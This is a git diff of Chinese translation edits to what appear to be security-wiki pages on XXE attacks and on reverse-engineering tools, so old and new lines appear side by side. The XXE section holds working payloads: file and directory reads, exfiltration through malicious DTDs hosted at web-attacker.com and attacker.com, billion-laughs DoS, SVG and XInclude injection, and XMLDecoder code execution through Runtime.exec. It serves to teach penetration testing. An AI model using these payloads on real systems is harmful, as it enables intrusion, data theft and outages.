在**Java**基础的应用程序中可能通过XXE使用类似的有效载**列出目录的内容**(只请求目录而不是文件):
在**Java**基础的应用程序中可能通过XXE使用类似的有效载**列出目录的内容**(只请求目录而不是文件):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ XXE 可以被用来滥用云中的 SSRF
```
### Blind SSRF
使用**之前提到的技术**,您可以让服务器访问您控制的服务器,以显示其存在漏洞。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**
使用**之前提到的技术**,您可以让服务器访问您控制的服务器以显示其脆弱性。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -110,8 +110,8 @@ XXE 可以被用来滥用云中的 SSRF
- 创建一个 XML 参数实体 `%file`,读取 `/etc/hostname` 文件的内容。
- 定义另一个 XML 参数实体 `%eval`。它动态声明一个新的 XML 参数实体 `%exfiltrate``%exfiltrate` 实体被设置为向攻击者的服务器发起 HTTP 请求,在 URL 的查询字符串中传递 `%file` 实体的内容。
2. **实体的执行:**
- `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
- 然后使用 `%exfiltrate` 实体,触发对指定 URL 的 HTTP 请求,携带文件的内容。
- 使`%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
- 然后使用 `%exfiltrate` 实体,触发对指定 URL 的 HTTP 请求,包含文件的内容。
攻击者在其控制的服务器上托管此恶意 DTD通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
@ -121,18 +121,18 @@ XXE 可以被用来滥用云中的 SSRF
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。解析器随后内联解释 DTD执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后,解析器在线解释 DTD执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
### 基于错误的(外部 DTD
**在这种情况下,我们将使服务器加载一个恶意 DTD该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。** [**示例来自这里。**](https://portswigger.net/web-security/xxe/blind)
可以通过恶意外部文档类型定义DTD触发 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
可以通过使用恶意外部文档类型定义DTD触发一个 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
1. 定义一个名为 `file` 的 XML 参数实体,其中包含 `/etc/passwd` 文件的内容。
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估`error` 实体时,尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,它尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
3. 调用 `eval` 实体,导致 `error` 实体的动态声明。
4. 调用 `error` 实体导致尝试加载一个不存在的文件,生一个错误消息,其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
4. 调用 `error` 实体导致尝试加载一个不存在的文件,生一个错误消息,其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
可以使用以下 XML 调用恶意外部 DTD
```xml
@ -146,13 +146,13 @@ XXE 可以被用来滥用云中的 SSRF
_**请注意,外部 DTD 允许我们在第二个实体内部包含一个实体(\*\***`eval`\***\*),但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_
### **基于错误的 (系统 DTD)**
### **基于错误(系统 DTD**
那么,当 **出带交互被阻止**(外部连接不可用)时,盲 XXE 漏洞怎么办?
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了一个 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部 DTD 中重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示:
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -171,7 +171,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
- 对 `custom_entity` XML 参数实体进行重新定义,该实体最初在外部 DTD 中定义,以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误,从而暴露 `/etc/passwd` 文件的内容。
- 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出。
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 具有一个 DTD其中包含一个名为 `ISOamso` 的实体。
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 具有一个 DTD其中包含一个名为 `ISOamso` 的实体。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -221,7 +221,7 @@ Testing 0 entities : []
对于此攻击的更深入解释,**请查看** [**这篇精彩的文章**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **来自 Detectify 的第二部分**
许多网络应用程序提供**上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,一个网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
许多网络应用程序**提供上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。
@ -229,13 +229,13 @@ Testing 0 entities : []
修改后的 XML 行应插入到两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的“unzipped”目录中,应运行以下命令:
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的 "unzipped" 目录中,应运行以下命令:
现在,创建的文件可以上传到潜在易受攻击的网络应用程序,并希望在 Burp Collaborator 日志中出现请求。
现在,可以将创建的文件上传到潜在易受攻击的网络应用程序,并希望在 Burp Collaborator 日志中出现请求。
### Jar: protocol
**jar** 协议仅在**Java 应用程序**中可用。它旨在允许在**PKZIP** 存档(例如,`.zip``.jar` 等)中访问文件,适用于本地和远程文件。
**jar** 协议仅在 **Java 应用程序** 中可用。它旨在允许在 **PKZIP** 存档(例如,`.zip``.jar` 等)中访问文件,适用于本地和远程文件。
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -246,12 +246,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt
通过 jar 协议访问 PKZIP 存档中的文件的过程涉及几个步骤:
1. 发出 HTTP 请求,从指定位置下载 zip 存档,例如 `https://download.website.com/archive.zip`
2. 包含存档的 HTTP 响应临时存储在系统上,通常在 `/tmp/...` 位置
2. 包含存档的 HTTP 响应暂时存储在系统上,通常在 `/tmp/...` 这样的地方
3. 然后提取存档以访问其内容。
4. 读取存档中的特定文件 `file.zip`
5. 操作完成后,删除在此过程中创建的任何临时文件。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一目的,包括 Python 服务器 (`slow_http_server.py`) 和 Java 服务器 (`slowserver.jar`)。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一目的,包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -265,7 +265,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
```
### DoS
#### 亿笑攻击
#### 亿笑攻击
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
@ -310,7 +310,7 @@ Responder.py -I eth0 -v
### XInclude
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得传统的 XXE 攻击受到限制,因为无法修改 `DOCTYPE` 元素。然而,`XInclude` 攻击提供了解决方案,允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法仍然有效。
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得传统的 XXE 攻击受到限制,因为无法修改 `DOCTYPE` 元素。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法仍然有效。
要执行 `XInclude` 攻击,必须声明 `XInclude` 命名空间,并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例:
```xml
@ -320,9 +320,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
### SVG - 文件上传
用户上传到某些应用程序的文件,然后在服务器上处理,可利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
用户上传到某些应用程序的文件,然后在服务器上处理,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可以被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXE (XML 外部实体) 漏洞。
当用户 **上传图像** 时,这些图像会在服务器端处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可以被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXE (XML 外部实体) 漏洞。
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
```xml
@ -336,7 +336,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```
在这两种情况下SVG 格式被用来发起攻击,利用服务器软件的 XML 处理能力,突显了对强大输入验证和安全措施的需求。
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息!
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息!
**注意,读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。**
@ -348,7 +348,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
file-upload/pdf-upload-xxe-and-cors-bypass.md
{{#endref}}
### 内容类型:从 x-www-urlencoded 到 XML
### Content-Type: 从 x-www-urlencoded 到 XML
如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如如果正常请求包含以下内容
```xml
@ -358,7 +358,7 @@ Content-Length: 7
foo=bar
```
然后您可能能够提交以下请求,得到相同的结果
然后您可能能够提交以下请求,结果相同
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -368,7 +368,7 @@ Content-Length: 52
```
### Content-Type: 从 JSON 到 XEE
要更改请求,您可以使用一个名为“**Content Type Converter**”的 Burp 扩展。 [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
要更改请求,您可以使用名为“**Content Type Converter**”的 Burp 扩展。 [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
```xml
Content-Type: application/json;charset=UTF-8
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
### UTF-7
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]\[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4将其转换为 UTF-7。
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -430,7 +430,7 @@ Content-Type: application/xml;charset=UTF-8
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
您可以创建一个 **实体内部的实体**,通过 **html 实体** 编码,然后调用它来 **加载 dtd**。\
请注意,使用的 **HTML 实体** 需要是 **数字**(如 \[在这个例子中]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
请注意,使用的 **HTML 实体** 需要是 **数字**(如 \[在这个例子中]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -476,7 +476,7 @@ DTD 示例:
这个例子灵感来源于 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为 CAT (计算机辅助翻译) 工具的通用交换格式。
XLIFF (XML Localization Interchange File Format) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为 CAT (计算机辅助翻译) 工具的通用交换格式。
### Blind Request Analysis
@ -500,9 +500,9 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
尽管出现错误,但在 Burp Collaborator 上记录了一次命中,表明与外部实体有某种程度的交互。
尽管出现错误,但在 Burp Collaborator 上记录了一次命中,表明与外部实体有某种程度的交互。
带外数据外泄 为了外泄数据,发送了一个修改过的请求:
Out of Band Data Exfiltration 为了提取数据,发送了一个修改过的请求:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -527,7 +527,7 @@ Content-Type: application/x-xliff+xml
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
要在错误消息中包含文件的内容,需要调整 DTD 文件:
要在错误消息中包含文件的内容DTD 文件被调整
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
@ -607,11 +607,11 @@ Content-Type: application/x-xliff+xml
</channel>
</rss>
```
## Java XMLDecoder XEE RCE
## Java XMLDecoder XEE to RCE
XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意用户能够让应用程序在对 **readObject** 方法的调用中使用任意数据,他将立即获得服务器上的代码执行权限。
### 使用 Runtime().exec()
### Using Runtime().exec()
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -671,17 +671,17 @@ XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意
</void>
</java>
```
## 工具
## Tools
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## 参考文献
## References
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
- 通过使用自己的外部 DTD 提取信息 via HTTP: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
- 通过使用自己的外部 DTD 提取信息 [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\

View File

@ -25,13 +25,13 @@
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek 是一个反编译器,**反编译并检查多种格式**,包括 **库** (.dll)、**Windows 元数据文件** (.winmd) 和 **可执行文件** (.exe)。一旦反编译,程序集可以保存为 Visual Studio 项目 (.csproj)。
dotPeek 是一个反编译器,**反编译并检查多种格式**,包括 **库** (.dll)、**Windows 元数据文件** (.winmd) 和 **可执行文件** (.exe)。反编译,程序集可以保存为 Visual Studio 项目 (.csproj)。
其优点在于如果丢失的源代码需要从遗留程序集恢复此操作可以节省时间。此外dotPeek 提供了便捷的导航功能,使其成为 **Xamarin 算法分析** 的完美工具之一。
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
通过全面的插件模型和扩展工具以满足您确切需求的 API.NET Reflector 节省时间并简化开发。让我们看看这个工具提供的众多向工程服务:
通过全面的插件模型和扩展工具以满足您确切需求的 API.NET Reflector 节省时间并简化开发。让我们看看这个工具提供的众多向工程服务:
- 提供对数据如何在库或组件中流动的洞察
- 提供对 .NET 语言和框架的实现和使用的洞察
@ -47,7 +47,7 @@ dotPeek 是一个反编译器,**反编译并检查多种格式**,包括 **
### DNSpy 日志记录
为了让 **DNSpy 将一些信息记录到文件中**,您可以使用以下代码片段:
为了让 **DNSpy 记录一些信息到文件中**,您可以使用以下代码片段:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -57,13 +57,13 @@ File.AppendAllText(path, "Password: " + password + "\n");
要使用 DNSpy 调试代码,您需要:
首先,改与 **调试** 相关的 **程序集属性**
首先,改**调试** 相关的 **程序集属性**
![](<../../images/image (973).png>)
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
翻译内容缺失,请提供需要翻译的文本
请提供需要翻译的内容
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -134,7 +134,7 @@ iisreset /noforce
- **加载 rundll32**64位在 C:\Windows\System32\rundll32.exe32位在 C:\Windows\SysWOW64\rundll32.exe
- **更改命令行** _File --> Change Command Line_ )并设置 DLL 的路径和您想要调用的函数,例如:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- 更改 _Options --> Settings_ 并选择 "**DLL Entry**"。
- 然后 **开始执行**,调试器将在每个 DLL 主函数处停止,在某个时刻您将 **停在您 DLL 的 DLL Entry**。从那里,只需搜索您想要置断点的点。
- 然后 **开始执行**,调试器将在每个 DLL 主函数处停止,在某个时刻您将 **停在您 DLL 的 DLL Entry**。从那里,只需搜索您想要置断点的点。
请注意,当执行因任何原因在 win64dbg 中停止时,您可以在 **win64dbg 窗口顶部** 查看 **您正在查看的代码**
@ -150,7 +150,7 @@ iisreset /noforce
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) 是一个针对 GNU Project Debugger (GDB) 的前端/逆向工程工具,专注于游戏。然而,它可以用于任何与逆向工程相关的内容。
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) 是一个用于 GNU Project Debugger (GDB) 的前端/逆向工程工具,专注于游戏。然而,它可以用于任何与逆向工程相关的内容。
[**Decompiler Explorer**](https://dogbolt.org/) 是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
@ -165,7 +165,7 @@ https://github.com/nongiach/arm_now
### 使用 blobrunner 调试 shellcode
[**Blobrunner**](https://github.com/OALabs/BlobRunner) 将 **分配** shellcode 到内存空间,将 **指示** 您 shellcode 被分配的 **内存地址** 并将 **停止** 执行。\
然后,您需要 **附加调试器**Ida 或 x64dbg到该进程并在 **指示的内存地址** 设置一个 **断点****恢复** 执行。这样您将调试 shellcode。
然后,您需要 **附加调试器**Ida 或 x64dbg到该进程并在 **指示的内存地址** 设置 **断点****恢复** 执行。这样您将调试 shellcode。
发布的 GitHub 页面包含包含已编译版本的 zip 文件:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
您可以在以下链接找到稍微修改过的 Blobrunner 版本。为了编译它,只需 **在 Visual Studio Code 中创建一个 C/C++ 项目,复制并粘贴代码并构建**
@ -184,13 +184,13 @@ blobrunner.md
### 使用 Cutter 调试 shellcode
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是 radare 的 GUI。使用 cutter您可以模拟 shellcode 并动态检查它。
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是 radare 的 GUI。使用 Cutter您可以模拟 shellcode 并动态检查它。
请注意Cutter 允许您 "Open File" 和 "Open Shellcode"。在我的情况下,当我将 shellcode 作为文件打开时,它正确反编译,但当我将其作为 shellcode 打开时却没有:
![](<../../images/image (562).png>)
为了在您想要的地方开始模拟,请在那里设置一个 bp显然 cutter 将自动从那里开始模拟:
为了从您想要的地方开始模拟,请在那里设置一个 bp显然 Cutter 将自动从那里开始模拟:
![](<../../images/image (589).png>)
@ -216,11 +216,11 @@ scDbg 还配备了一个图形启动器,您可以选择所需的选项并执
![](<../../images/image (258).png>)
**创建转储** 选项将在内存中对 shellcode 进行动态更改时转储最终的 shellcode用于下载解码后的 shellcode。**起始偏移** 可以用于在特定偏移量处启动 shellcode。**调试 Shell** 选项对于使用 scDbg 终端调试 shellcode 很有用(然而,我发现之前解释的任何选项在这方面更好,因为您可以使用 Ida 或 x64dbg
**Create Dump** 选项将在内存中对 shellcode 进行动态更改时转储最终的 shellcode用于下载解码后的 shellcode。**start offset** 可以用于在特定偏移量处启动 shellcode。**Debug Shell** 选项对于使用 scDbg 终端调试 shellcode 很有用(然而,我发现之前解释的任何选项在这方面更好,因为您可以使用 Ida 或 x64dbg
### 使用 CyberChef 反汇编
将您的 shellcode 文件作为输入上传,并使用以下配方进行反编译:[https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
将您的 shellcode 文件上传为输入,并使用以下配方进行反编译:[https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/index.html#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
@ -234,42 +234,42 @@ scDbg 还配备了一个图形启动器,您可以选择所需的选项并执
apt-get install libcapstone-dev
apt-get install libz3-dev
```
[安装keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`
并[安装 keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`
如果你在玩**CTF这个找到标志的变通方法**可能会非常有用:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
要找到**入口点**可以通过`::main`搜索函数,如下所示:
要找到**入口点**,通过`::main`搜索函数,如下所示:
![](<../../images/image (1080).png>)
在这种情况下二进制文件被称为authenticator所以很明显这是有趣的主函数。\
在这种情况下,二进制文件被称为 authenticator所以很明显这是有趣的主函数。\
拥有被调用的**函数**的**名称**后,在**互联网上**搜索它们以了解它们的**输入**和**输出**。
## **Delphi**
对于Delphi编译的二进制文件你可以使用[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
对于 Delphi 编译的二进制文件,你可以使用[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
如果你需要反向工程一个Delphi二进制文件我建议你使用IDA插件[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
如果你需要反向工程一个 Delphi 二进制文件,我建议你使用 IDA 插件[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
只需按**ATL+f7**在IDA中导入python插件并选择python插件。
只需按**ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
